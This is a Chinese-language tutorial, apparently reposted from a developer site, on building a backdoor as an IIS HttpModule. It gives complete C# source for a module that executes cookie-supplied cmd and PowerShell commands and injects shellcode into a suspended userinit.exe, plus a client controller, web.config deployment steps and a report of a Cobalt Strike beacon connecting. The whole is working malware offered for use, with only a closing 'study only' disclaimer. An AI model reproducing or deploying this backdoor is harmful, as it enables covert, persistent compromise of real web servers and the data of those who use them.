手把手帶你開發一款 IIS 模塊后門


https://cloud.tencent.com/developer/article/1507913

VS2017 IIS

開始開發

先打開 VS 創建一個 winfrom 項目然后添加一個 C# dll 項目

IIS_backdoor_dll 項目代碼

using System;
using System.Collections; using System.Collections.ObjectModel; using System.Diagnostics; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Runtime.InteropServices; using System.Text; using System.Web; using static IIS_backdoor_dll.Program; namespace IIS_backdoor_dll { //shellcode執行類部分代碼 //https://raw.githubusercontent.com/mvelazc0/defcon27_csharp_workshop/master/Labs/lab7/3.cs public static class Program { [StructLayout(LayoutKind.Sequential)] public class SecurityAttributes { public Int32 Length = 0; public IntPtr lpSecurityDescriptor = IntPtr.Zero; public bool bInheritHandle = false; public SecurityAttributes() { this.Length = Marshal.SizeOf(this); } } [StructLayout(LayoutKind.Sequential)] public struct ProcessInformation { public IntPtr hProcess; public IntPtr hThread; public Int32 dwProcessId; public Int32 dwThreadId; } [Flags] public enum CreateProcessFlags : uint { DEBUG_PROCESS = 0x00000001, DEBUG_ONLY_THIS_PROCESS = 0x00000002, CREATE_SUSPENDED = 0x00000004, DETACHED_PROCESS = 0x00000008, CREATE_NEW_CONSOLE = 0x00000010, NORMAL_PRIORITY_CLASS = 0x00000020, IDLE_PRIORITY_CLASS = 0x00000040, HIGH_PRIORITY_CLASS = 0x00000080, REALTIME_PRIORITY_CLASS = 0x00000100, CREATE_NEW_PROCESS_GROUP = 0x00000200, CREATE_UNICODE_ENVIRONMENT = 0x00000400, CREATE_SEPARATE_WOW_VDM = 0x00000800, CREATE_SHARED_WOW_VDM = 0x00001000, CREATE_FORCEDOS = 0x00002000, BELOW_NORMAL_PRIORITY_CLASS = 0x00004000, ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000, INHERIT_PARENT_AFFINITY = 0x00010000, INHERIT_CALLER_PRIORITY = 0x00020000, CREATE_PROTECTED_PROCESS = 0x00040000, EXTENDED_STARTUPINFO_PRESENT = 0x00080000, PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000, PROCESS_MODE_BACKGROUND_END = 0x00200000, CREATE_BREAKAWAY_FROM_JOB = 0x01000000, CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, CREATE_DEFAULT_ERROR_MODE = 0x04000000, CREATE_NO_WINDOW = 0x08000000, PROFILE_USER = 0x10000000, PROFILE_KERNEL = 0x20000000, PROFILE_SERVER = 0x40000000, CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000, } [StructLayout(LayoutKind.Sequential)] public class StartupInfo { public Int32 cb = 0; public IntPtr lpReserved = IntPtr.Zero; public IntPtr lpDesktop = IntPtr.Zero; public IntPtr lpTitle = IntPtr.Zero; public Int32 dwX = 0; public Int32 dwY = 0; public Int32 dwXSize = 0; public Int32 dwYSize = 0; public Int32 dwXCountChars = 0; public Int32 dwYCountChars = 0; public Int32 dwFillAttribute = 0; public Int32 dwFlags = 0; public Int16 wShowWindow = 0; public Int16 cbReserved2 = 0; public IntPtr lpReserved2 = IntPtr.Zero; public IntPtr hStdInput = IntPtr.Zero; public IntPtr hStdOutput = IntPtr.Zero; public IntPtr hStdError = IntPtr.Zero; public StartupInfo() { this.cb = Marshal.SizeOf(this); } } [DllImport("kernel32.dll")] public static extern IntPtr CreateProcessA(String lpApplicationName, String lpCommandLine, SecurityAttributes lpProcessAttributes, SecurityAttributes lpThreadAttributes, Boolean bInheritHandles, CreateProcessFlags dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, [In] StartupInfo lpStartupInfo, out ProcessInformation lpProcessInformation ); [DllImport("kernel32.dll")] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32.dll")] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten); [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); public static UInt32 PAGE_EXECUTE_READWRITE = 0x40; public static UInt32 MEM_COMMIT = 0x1000; } //繼承IHttpModule public class IISModule : IHttpModule { //實現Init方法 public void Init(HttpApplication context) { //注冊HttpApplication應用程序 BeginRequest 事件 context.BeginRequest += new EventHandler(context_BeginRequest); } /// <summary> /// 執行cmd命令 /// </summary> /// <param name="cmd"></param> /// <returns></returns> public string RunCmd(string cmd) { //base64解密Cookie的值然后重新賦給cmd cmd = Encoding.UTF8.GetString(Convert.FromBase64String(cmd)); Process proc = new Process(); proc.StartInfo.CreateNoWindow = true; proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardError = true; proc.StartInfo.RedirectStandardInput = true; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); proc.StandardInput.WriteLine(cmd); proc.StandardInput.WriteLine("exit"); string outStr = proc.StandardOutput.ReadToEnd(); proc.Close(); return outStr; } /// <summary> /// 執行powershell /// </summary> /// <param name="scriptText"></param> /// <returns></returns> public static string Runpscmd(string pscmd) { //base64解密Cookie的值然后重新賦給pscmd //通過C#直接調用powershell pscmd = Encoding.UTF8.GetString(Convert.FromBase64String(pscmd)); Runspace runspace = RunspaceFactory.CreateRunspace(); runspace.Open(); Pipeline pipeline = runspace.CreatePipeline(); pipeline.Commands.AddScript(pscmd); pipeline.Commands.Add("Out-String"); Collection<PSObject> results = pipeline.Invoke(); runspace.Close(); StringBuilder stringBuilder = new StringBuilder(); foreach (PSObject obj in results) { stringBuilder.AppendLine(obj.ToString()); } return stringBuilder.ToString(); } /// <summary> /// 執行shellcode /// </summary> /// <param name="base64"></param> /// <returns></returns> public string shellcode(string base64) { //分割字符串 string[] arr = base64.Split('|'); //判斷shellcode位數是否和目標位數匹配 if (arr[1].Equals(is_x86())) { byte[] sc = Convert.FromBase64String(arr[0]); //這里可以通過參數自定義程序不過我不寫了沒辦法懶 string binary = "userinit.exe"; Int32 size = sc.Length; StartupInfo sInfo = new StartupInfo(); sInfo.dwFlags = 0; ProcessInformation pInfo; string binaryPath = "C:\\Windows\\System32\\" + binary; IntPtr funcAddr = CreateProcessA(binaryPath, null, null, null, true, CreateProcessFlags.CREATE_SUSPENDED, IntPtr.Zero, null, sInfo, out pInfo); IntPtr hProcess = pInfo.hProcess; IntPtr spaceAddr = VirtualAllocEx(hProcess, new IntPtr(0), size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); int test = 0; IntPtr size2 = new IntPtr(sc.Length); bool bWrite = WriteProcessMemory(hProcess, spaceAddr, sc, size2, test); CreateRemoteThread(hProcess, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0)); return Convert.ToString(sc.Length); } //不匹配返回提示 else { return "!Target requires"+is_x86()+" shellcode"; } } void context_BeginRequest(object sender, EventArgs e) { HttpApplication application = (HttpApplication)sender; HttpContext context = application.Context; HttpRequest Request = application.Request; context_filter(context, Request); } //判斷當前是x64還是x86 string is_x86() { if (IntPtr.Size == 4) { return "x86"; } else { return "x64"; } } void context_filter(HttpContext context, HttpRequest Request) { HttpCookieCollection MyCookieColl; HttpCookie MyCookie; MyCookieColl = Request.Cookies; String[] arr1 = MyCookieColl.AllKeys; if (arr1.Length > 0) { MyCookie = MyCookieColl[arr1[0]]; if (MyCookie.Name.Equals("cmd")) { String cookie = MyCookie.Value; context.Response.Clear(); context.Response.Write(RunCmd(cookie)); context.Response.End(); context.Response.Close(); } else if (MyCookie.Name.Equals("powershell")) { String cookie = MyCookie.Value; context.Response.Clear(); context.Response.Write(Runpscmd(cookie)); context.Response.End(); context.Response.Close(); } else if (MyCookie.Name.Equals("shellcode")) { String cookie = MyCookie.Value; context.Response.Clear(); context.Response.Write(shellcode(cookie)); context.Response.End(); context.Response.Close(); } } } public void Dispose() { } } } 

以上是 IIS_backdoor_dll 項目的代碼

主要思路是獲取 Cookie 然后判斷 Cookie 名字是否匹配如果匹配就根據 Cookie 名字獲取其值然后調用相應的方法並傳入其值。

總共實現了 3 個功能分別是執行 cmd,通過 C# 調用 powershell,執行 shellcode。代碼里面都寫有注釋可以自己看看

如果不匹配就什么都不做

IIS_backdoor_shell 項目代碼

IIS_backdoor_shell 項目代碼就比較簡單無非就是發送 http 請求獲取返回等等

using System;
using System.Collections.Generic; using System.IO; using System.Net; using System.Text; using System.Windows.Forms; namespace IIS_backdoor_shell { public partial class Form1 : Form { public Form1() { InitializeComponent(); this.comboBox1.SelectedIndex = 0; } //發送請求並獲取返回 public string SendDataByGET(string Url, CookieContainer cookie) { HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url); if (cookie.Count == 0) { request.CookieContainer = new CookieContainer(); cookie = request.CookieContainer; } else { request.CookieContainer = cookie; } request.Method = "GET"; HttpWebResponse response = (HttpWebResponse)request.GetResponse(); Stream myResponseStream = response.GetResponseStream(); StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8")); string retString = myStreamReader.ReadToEnd(); myStreamReader.Close(); myResponseStream.Close(); return retString; } //文件base64編碼 public string FileToBase64Str(string filePath) { string base64Str = string.Empty; try { using (FileStream filestream = new FileStream(filePath, FileMode.Open)) { byte[] bt = new byte[filestream.Length]; filestream.Read(bt, 0, bt.Length); base64Str = Convert.ToBase64String(bt); filestream.Close(); } return base64Str; } catch (Exception ex) { return base64Str; } } //兩個textbox事件用於拖放文件 private void textBox1_DragEnter(object sender, DragEventArgs e) { if (e.Data.GetDataPresent(DataFormats.FileDrop)) e.Effect = DragDropEffects.Link; else e.Effect = DragDropEffects.None; } private void textBox1_DragDrop(object sender, DragEventArgs e) { ((TextBox)sender).Text = ((System.Array)e.Data.GetData(DataFormats.FileDrop)).GetValue(0).ToString(); } private void button1_Click(object sender, System.EventArgs e) { if (textBox3.Text!=""&&textBox1.Text!="") { CookieContainer cc = new CookieContainer(); if (comboBox1.Text.Equals("shellcode_x86")) { var base64Str = FileToBase64Str(textBox3.Text); cc.Add(new System.Uri(textBox1.Text), new Cookie("shellcode", base64Str + "|x86")); textBox2.Text = SendDataByGET(textBox1.Text, cc); } else if (comboBox1.Text.Equals("shellcode_x64")) { var base64Str = FileToBase64Str(textBox3.Text); cc.Add(new System.Uri(textBox1.Text), new Cookie("shellcode", base64Str + "|x64")); textBox2.Text = SendDataByGET(textBox1.Text, cc); } else { byte[] bytes = Encoding.UTF8.GetBytes(textBox3.Text); var base64Str = Convert.ToBase64String(bytes); cc.Add(new System.Uri(textBox1.Text), new Cookie(comboBox1.Text, base64Str)); textBox2.Text = SendDataByGET(textBox1.Text, cc); } } else { MessageBox.Show("請填寫命令或URL地址"); } } } } 

以上是 IIS_backdoor_shell 項目的代碼

基本思路就是判斷是否是執行 shellcode 如果是就 base64 編碼 shellcode 文件然后末尾附加 |x64 或 |x86 然后添加到 cookie 並發送 http 請求,如果不是執行 shellcode 就直接 base64 編碼相應的命令然后添加到 cookie 並發送請求

部署后門

編譯完后會得到一個 dll 和 exe。

把 IIS_backdoor_dll.dll 文件放到 web 目錄的 bin 文件夾中並配置 web.config 文件

web.config 文件

<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.webServer> <modules> <add name="IIS_backdoor" type="IIS_backdoor_dll.IISModule" /> </modules> </system.webServer> </configuration>

配置 ok 后正常訪問沒有任何問題可以

測試后門

現在讓我們運行 IIS_backdoor_shell.exe 文件測試一下后門看看主要的 3 個功能

執行 cmd

dir C:\

ipconfig

C# 調用 powershell

獲取進程和服務

執行 shellcode

先生成 x64 位的 shellcode

然后把 shellcode 拖到文本框二

執行后 cs 成功上線

基本上我就寫了這三個功能其他的比如文件上傳遠程下載等等還是日后來填坑吧

淺談一下原理

在 .Net 中,HttpModule 其實就是實現了 IHttpModule 接口的程序集。在 IIS 中 Http 請求會通過一系列 HttpModule,而在經過這些 HttpModule 時,這些 HttpModule 對 Http 請求具有完全的控制權。

而我們這時就可以根據這些 http 請求判斷是否是后門請求如果是就觸發后門,如果不是就什么也不做交給后面的模塊,在經過所有的 HttpModule 之后,它會被 HttpHandler 處理,在 HttpHandler 處理完以后 http 請求返回包會再一次經歷 HttpModule,最后到達客戶端

基本流程圖

具體關於 HttpModule 接口可以看看微軟的官方文檔

https://docs.microsoft.com/zh-cn/dotnet/api/system.web.ihttpmodule?redirectedfrom=MSDN&view=netframework-4.8

聲明

本文提供的代碼只限學習、研究,請勿用於其他用途,如因此造成其他后果,后果自負。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM